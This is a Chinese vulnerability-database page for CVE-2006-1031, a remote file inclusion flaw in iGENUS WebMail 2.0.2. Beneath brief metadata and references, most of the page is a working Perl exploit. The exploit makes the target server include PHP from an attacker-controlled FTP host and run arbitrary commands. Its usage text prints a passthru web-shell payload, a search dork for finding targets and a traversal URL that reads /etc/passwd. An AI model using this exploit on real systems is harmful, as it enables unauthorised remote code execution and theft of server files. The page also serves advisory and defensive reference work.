iGenus WebMail 'Config_Inc.PHP'远程问题包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109816 漏洞类型 代码注入
发布时间 2006-02-25 更新时间 2007-08-27
CVE编号 CVE-2006-1031 CNNVD-ID CNNVD-200603-111
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1527
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-111
|漏洞详情
在iGENUSWebmail2.02及其早期版本中的config/config_inc.php,允许远程攻击者通过SG_HOME参数,包含任意本地文件。
|漏洞EXP
#!/usr/bin/perl
use IO::Socket;

print "______________________________________________________\r\n";
print "iGENUS WebMail <= 2.0.2 remote commads xctn\r\n";
print "-> works against PHP5 with register_globals = On\r\n";
print "   & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n\r\n";
print "dork:  intitle:\"igenus webmail login\"\r\n";
print "______________________________________________________\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMAND\r\n\r\n";
print "SERVER         - Server where iGENUS is installed.\r\n";
print "PATH           - Path to iGENUS (ex: /igenus/ or just /) \r\n";
print "FTP_LOCATION   - an FTP site with the code to include\r\n";
print "COMMAND        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -la\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.php\r\n\r\n";
print "note: on ftp location you need this code in .config :\r\n";
print "<?php ob_clean();ini_set(\"max_execution_time\",0);passthru(\$_GET[\"cmd\"]);die;?>\r\n\r\n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."config/config_inc.php?cmd=".$cmd."&SG_HOME=".$loc." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# ----------------> also, with magic_quotes_gpc = Off, try this:
# http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00

# milw0rm.com [2006-02-25]
|参考资料

来源:XF
名称:igenus-sg-home-file-include(24935)
链接:http://xforce.iss.net/xforce/xfdb/24935
来源:BID
名称:16829
链接:http://www.securityfocus.com/bid/16829
来源:OSVDB
名称:23530
链接:http://www.osvdb.org/23530
来源:VUPEN
名称:ADV-2006-0753
链接:http://www.frsirt.com/english/advisories/2006/0753
来源:SECUNIA
名称:19036
链接:http://secunia.com/advisories/19036
来源:MISC
链接:http://retrogod.altervista.org/igenus_202_xpl_pl.html